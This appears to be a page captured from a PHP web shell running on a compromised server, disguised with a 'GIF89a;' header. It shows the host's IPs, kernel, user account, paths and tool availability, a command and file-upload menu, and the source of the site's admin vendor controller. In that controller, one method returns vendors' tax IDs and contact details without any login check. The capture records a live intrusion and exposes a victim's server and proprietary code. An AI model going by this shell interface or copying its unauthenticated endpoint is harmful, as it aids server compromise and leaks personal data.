GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.117.107.78 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../jnclnmu/../cas/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller Class To Handle All Requests Related To Vehicles * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class Vendor extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('admin/VendorManagement'); $this->load->model('admin/LocationManagement'); } public function index() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allVedors'] = $this->VendorManagement->getAllVendors()->result(); $this->load->view('admin/vendors', $viewData); } else { redirect("admin/"); } } public function createVendor() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['states'] = $this->LocationManagement->getAllNonDeletedStates()->result(); $this->load->view('admin/createVendor', $viewData); } else { redirect("admin/"); } } public function saveNewVendor() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('venOwnerName', 'Owner Name', 'trim|required', array('required' => 'Please Enter Owner Name.')); $this->form_validation->set_rules('venBusinessName', 'Business Name', 'trim|required', array('required' => 'Please Enter Business Name.')); $queryByBusinessName = $this->VendorManagement->getVendorInfoByBusinessName(trim($this->input->post('venBusinessName'))); $vendorInfoByName = $queryByBusinessName->result(); if ($this->form_validation->run() == FALSE) { $this->createVendor(); } else if (sizeof($vendorInfoByName)) { $this->session->set_flashdata('errorMessage', "Another Firm With This Name (" . trim($this->input->post('venBusinessName')) . ") Already Exits. Please Choose Different Firm Name."); $this->createVendor(); } else { $newVendorInfo = array( 'ven_business_name' => addslashes(trim($this->input->post('venBusinessName'))), 'ven_owner_name' => addslashes(trim($this->input->post('venOwnerName'))), 'ven_mobile' => trim($this->input->post('venMobile')), 'ven_email' => trim($this->input->post('venEmail')), 'ven_gstin_no' => trim($this->input->post('venGSTIN')), 'ven_pan' => trim($this->input->post('venPAN')), 'ven_alt_mobile' => (trim($this->input->post('venAltMobile')) == "") ? "" : trim($this->input->post('venAltMobile')), 'ven_alt_email' => (trim($this->input->post('venAltEmail')) == "") ? "" : trim($this->input->post('venAltEmail')), 'ven_website' => (trim($this->input->post('venWebsite')) == "") ? "" : trim($this->input->post('venWebsite')), 'ven_addr_line_one' => (trim($this->input->post('venAddrLineOne')) == "") ? "" : addslashes(trim($this->input->post('venAddrLineOne'))), 'ven_addr_line_two' => (trim($this->input->post('venAddrLineTwo')) == "") ? "" : addslashes(trim($this->input->post('venAddrLineTwo'))), 'ven_addr_line_three' => (trim($this->input->post('venAddrLineThree')) == "") ? "" : addslashes(trim($this->input->post('venAddrLineThree'))), 'ven_zipcode' => (trim($this->input->post('venZipcode')) == "") ? "" : trim($this->input->post('venZipcode')), 'state_id' => (trim($this->input->post('venState')) == "") ? "0" : trim($this->input->post('venState')), 'city_id' => (trim($this->input->post('venCity')) == "") ? "0" : trim($this->input->post('venCity')), 'ven_remarks' => (trim($this->input->post('venRemarks')) == "") ? "" : addslashes(trim($this->input->post('venRemarks'))), 'ven_source' => ($this->input->post('venSource') != "O") ? $this->input->post('venSource') : addslashes(trim($this->input->post('venOtherSource'))), 'ven_added_on' => date("Y-m-d H:i:s"), 'ven_added_by' => $this->session->userdata("adminData")["smember_id"], 'ven_updated_on' => date("Y-m-d H:i:s"), 'ven_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->VendorManagement->createNewVendor($newVendorInfo)) { $this->session->set_flashdata('successMessage', 'Vendor Added Successfully.'); redirect("admin/Vendor"); } else { $this->session->set_flashdata('errorMessage', "An Error Occured While Creating Vendor. Try Later."); redirect(current_url()); } } } else { redirect("admin/"); } } public function editVendor($ven_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['states'] = $this->LocationManagement->getAllNonDeletedStates()->result(); $viewData['vendor_info'] = $this->VendorManagement->getVendorInfoBy($ven_id)->result()[0]; $this->load->view('admin/editVendor', $viewData); } else { redirect("admin/"); } } public function updateVendor() { if ($this->sessionvalidator->isLoggedIn()) { $vendorId = $this->input->post('vendor_id'); $this->form_validation->set_rules('venOwnerName', 'Owner Name', 'trim|required', array('required' => 'Please Enter Owner Name.')); $this->form_validation->set_rules('venBusinessName', 'Business Name', 'trim|required', array('required' => 'Please Enter Business Name.')); if ($this->form_validation->run() == FALSE) { $this->editVendor($vendorId); } else if (!$this->VendorManagement->isVendorBusinessNameSafeUpdate($vendorId, trim($this->input->post('venBusinessName')))) { $this->session->set_flashdata('errorMessage', "Another Firm With This Name (" . trim($this->input->post('venBusinessName')) . ") Already Exits. Please Choose Different Firm Name."); $this->editVendor($vendorId); } else { $vendorInfo = array( 'ven_id' => $vendorId, 'ven_business_name' => addslashes(trim($this->input->post('venBusinessName'))), 'ven_owner_name' => addslashes(trim($this->input->post('venOwnerName'))), 'ven_mobile' => trim($this->input->post('venMobile')), 'ven_email' => trim($this->input->post('venEmail')), 'ven_gstin_no' => trim($this->input->post('venGSTIN')), 'ven_pan' => trim($this->input->post('venPAN')), 'ven_alt_mobile' => (trim($this->input->post('venAltMobile')) == "") ? "" : trim($this->input->post('venAltMobile')), 'ven_alt_email' => (trim($this->input->post('venAltEmail')) == "") ? "" : trim($this->input->post('venAltEmail')), 'ven_website' => (trim($this->input->post('venWebsite')) == "") ? "" : trim($this->input->post('venWebsite')), 'ven_addr_line_one' => (trim($this->input->post('venAddrLineOne')) == "") ? "" : addslashes(trim($this->input->post('venAddrLineOne'))), 'ven_addr_line_two' => (trim($this->input->post('venAddrLineTwo')) == "") ? "" : addslashes(trim($this->input->post('venAddrLineTwo'))), 'ven_addr_line_three' => (trim($this->input->post('venAddrLineThree')) == "") ? "" : addslashes(trim($this->input->post('venAddrLineThree'))), 'ven_zipcode' => (trim($this->input->post('venZipcode')) == "") ? "" : trim($this->input->post('venZipcode')), 'state_id' => (trim($this->input->post('venState')) == "") ? "0" : trim($this->input->post('venState')), 'city_id' => (trim($this->input->post('venCity')) == "") ? "0" : trim($this->input->post('venCity')), 'ven_remarks' => (trim($this->input->post('venRemarks')) == "") ? "" : addslashes(trim($this->input->post('venRemarks'))), 'ven_source' => ($this->input->post('venSource') != "O") ? $this->input->post('venSource') : addslashes(trim($this->input->post('venOtherSource'))), 'ven_updated_on' => date("Y-m-d H:i:s"), 'ven_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->VendorManagement->updateVendorInfo($vendorInfo)) { $this->session->set_flashdata('successMessage', "Vendor Updated Successfully."); redirect("admin/Vendor"); } else { $this->session->set_flashdata('errorMessage', "An Error Occured While Updating Vendor. Try Later."); redirect(current_url()); } } } else { redirect("admin/"); } } public function toggleVendorStatus($ven_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $vendorUpdateData = array( 'ven_id' => $ven_id, 'ven_updated_on' => date("Y-m-d H:i:s"), 'ven_updated_by' => $this->session->userdata("adminData")["smember_id"], 'ven_active_status' => $toUpdateStatus ); if ($this->VendorManagement->updateVendorInfo($vendorUpdateData)) { $this->session->set_flashdata('successMessage', 'Vendor Status Updated Successfully.'); redirect("admin/Vendor"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Vendor Status. Try Later.'); redirect("admin/Vendor"); } } else { redirect("admin/"); } } public function deleteVendor($ven_id) { if ($this->sessionvalidator->isLoggedIn()) { $vendorUpdateData = array( 'ven_id' => $ven_id, 'ven_updated_on' => date("Y-m-d H:i:s"), 'ven_updated_by' => $this->session->userdata("adminData")["smember_id"], 'ven_delete_status' => 'T' ); if ($this->VendorManagement->updateVendorInfo($vendorUpdateData)) { $this->session->set_flashdata('successMessage', 'Vendor Deleted Successfully.'); redirect("admin/Vendor"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Vendor. Try Later.'); redirect("admin/Vendor"); } } else { redirect("admin/"); } } public function undoDeleteVendor($ven_id) { if ($this->sessionvalidator->isLoggedIn()) { $vendorUpdateData = array( 'ven_id' => $ven_id, 'ven_updated_on' => date("Y-m-d H:i:s"), 'ven_updated_by' => $this->session->userdata("adminData")["smember_id"], 'ven_delete_status' => 'F' ); if ($this->VendorManagement->updateVendorInfo($vendorUpdateData)) { $this->session->set_flashdata('successMessage', 'Vendor Recovered Successfully.'); redirect("admin/Vendor"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Vendor. Try Later.'); redirect("admin/Vendor"); } } else { redirect("admin/"); } } public function getVendorFullInfo() { $ven_id = $_POST['vendor_id']; $vendor_info = $this->VendorManagement->getVendorInfoBy($ven_id)->result()[0]; $vendorAddress = ($vendor_info->ven_addr_line_one == "" || $vendor_info->ven_addr_line_one == NULL) ? "" : stripslashes($vendor_info->ven_addr_line_one); $vendorAddress .= ($vendor_info->ven_addr_line_two == "" || $vendor_info->ven_addr_line_two == NULL) ? "" : " " . stripslashes($vendor_info->ven_addr_line_two); $vendorAddress .= ($vendor_info->ven_addr_line_three == "" || $vendor_info->ven_addr_line_three == NULL) ? "" : " " . stripslashes($vendor_info->ven_addr_line_three); $vendorAddress .= ($vendor_info->ven_zipcode == "" || $vendor_info->ven_zipcode == NULL) ? "" : " " . stripslashes($vendor_info->ven_zipcode); if (trim($vendorAddress) == "") { $vendorAddress = "NA"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'ven_id' => $vendor_info->ven_id, 'ven_ownername' => stripslashes($vendor_info->ven_owner_name), 'ven_business_name' => stripslashes($vendor_info->ven_business_name), 'ven_mobile' => ($vendor_info->ven_mobile == "" || $vendor_info->ven_mobile == NULL) ? "NA" : $vendor_info->ven_mobile, 'ven_email' => ($vendor_info->ven_email == "" || $vendor_info->ven_email == NULL) ? "NA" : $vendor_info->ven_email, 'ven_gstin' => ($vendor_info->ven_gstin_no == "" || $vendor_info->ven_gstin_no == NULL) ? "NA" : $vendor_info->ven_gstin_no, 'ven_pan' => ($vendor_info->ven_pan == "" || $vendor_info->ven_pan == NULL) ? "NA" : $vendor_info->ven_pan, 'ven_alt_mobile' => ($vendor_info->ven_alt_mobile == "" || $vendor_info->ven_alt_mobile == NULL) ? "NA" : stripslashes($vendor_info->ven_alt_mobile), 'ven_alt_email' => ($vendor_info->ven_alt_email == "" || $vendor_info->ven_alt_email == NULL) ? "NA" : stripslashes($vendor_info->ven_alt_email), 'ven_website' => ($vendor_info->ven_website == "" || $vendor_info->ven_website == NULL) ? "NA" : $vendor_info->ven_website, 'ven_address' => $vendorAddress, 'ven_state' => ($vendor_info->state_id == "" || $vendor_info->state_id == NULL) ? "NA" : stripslashes($vendor_info->stateName), 'ven_city' => ($vendor_info->city_id == "" || $vendor_info->city_id == NULL) ? "" : stripslashes($vendor_info->cityName), 'ven_remarks' => ($vendor_info->ven_remarks == "" || $vendor_info->ven_remarks == NULL) ? "-" : stripslashes($vendor_info->ven_remarks), 'ven_source' => ($vendor_info->ven_source == "" || $vendor_info->ven_source == NULL) ? "-" : stripslashes($vendor_info->ven_source), 'ven_active_status' => ($vendor_info->ven_active_status == "T") ? "<i class='fa fa-check' style='color:#00FF00;'></i> Active" : "<i class='fa fa-ban' style='color:#FF0000;'></i> Disabled", 'ven_delete_status' => ($vendor_info->ven_delete_status == "T") ? "<i class='fa fa-trash' style='color:#FF0000;'></i> Deleted" : "Not Deleted", 'vev_added_by' => $vendor_info->addedByAdmin . " At " . date('d-m-Y h:i:s A', strtotime($vendor_info->ven_added_on)), 'ven_updated_by' => $vendor_info->updatedByAdmin . " At " . date('d-m-Y h:i:s A', strtotime($vendor_info->ven_updated_on)) ); echo json_encode($responseData); } public function saveNewVendorAndReturnForDropDown() { if ($this->sessionvalidator->isLoggedIn()) { if (trim($this->input->post('venBusinessName')) == "" || trim($this->input->post('venOwnerName')) == "") { $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'ven_id' => -1, 'ven_ownername' => "", 'ven_business_name' => "" ); echo json_encode($responseData); } else if (sizeof($this->VendorManagement->getVendorInfoByBusinessName(trim($this->input->post('venBusinessName')))->result())) { $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'ven_id' => 0, 'ven_ownername' => "", 'ven_business_name' => "" ); echo json_encode($responseData); } else { $newVendorInfo = array( 'ven_business_name' => addslashes(trim($this->input->post('venBusinessName'))), 'ven_owner_name' => addslashes(trim($this->input->post('venOwnerName'))), 'ven_mobile' => trim($this->input->post('venMobile')), 'ven_email' => trim($this->input->post('venEmail')), 'ven_gstin_no' => trim($this->input->post('venGSTIN')), 'ven_pan' => trim($this->input->post('venPAN')), 'ven_alt_mobile' => (trim($this->input->post('venAltMobile')) == "") ? "" : trim($this->input->post('venAltMobile')), 'ven_alt_email' => (trim($this->input->post('venAltEmail')) == "") ? "" : trim($this->input->post('venAltEmail')), 'ven_website' => (trim($this->input->post('venWebsite')) == "") ? "" : trim($this->input->post('venWebsite')), 'ven_addr_line_one' => (trim($this->input->post('venAddrLineOne')) == "") ? "" : addslashes(trim($this->input->post('venAddrLineOne'))), 'ven_addr_line_two' => (trim($this->input->post('venAddrLineTwo')) == "") ? "" : addslashes(trim($this->input->post('venAddrLineTwo'))), 'ven_addr_line_three' => (trim($this->input->post('venAddrLineThree')) == "") ? "" : addslashes(trim($this->input->post('venAddrLineThree'))), 'ven_zipcode' => (trim($this->input->post('venZipcode')) == "") ? "" : trim($this->input->post('venZipcode')), 'state_id' => (trim($this->input->post('venState')) == "") ? "0" : trim($this->input->post('venState')), 'city_id' => (trim($this->input->post('venCity')) == "") ? "0" : trim($this->input->post('venCity')), 'ven_remarks' => (trim($this->input->post('venRemarks')) == "") ? "" : addslashes(trim($this->input->post('venRemarks'))), 'ven_source' => ($this->input->post('venSource') != "O") ? $this->input->post('venSource') : addslashes(trim($this->input->post('venOtherSource'))), 'ven_added_on' => date("Y-m-d H:i:s"), 'ven_added_by' => $this->session->userdata("adminData")["smember_id"], 'ven_updated_on' => date("Y-m-d H:i:s"), 'ven_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $vendor_id = $this->VendorManagement->createNewVendor($newVendorInfo); $vendor_info = $this->VendorManagement->getVendorInfoBy($vendor_id)->result()[0]; $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'ven_id' => $vendor_info->ven_id, 'ven_ownername' => stripslashes($vendor_info->ven_owner_name), 'ven_business_name' => stripslashes($vendor_info->ven_business_name) ); echo json_encode($responseData); } } else { redirect("admin/"); } } }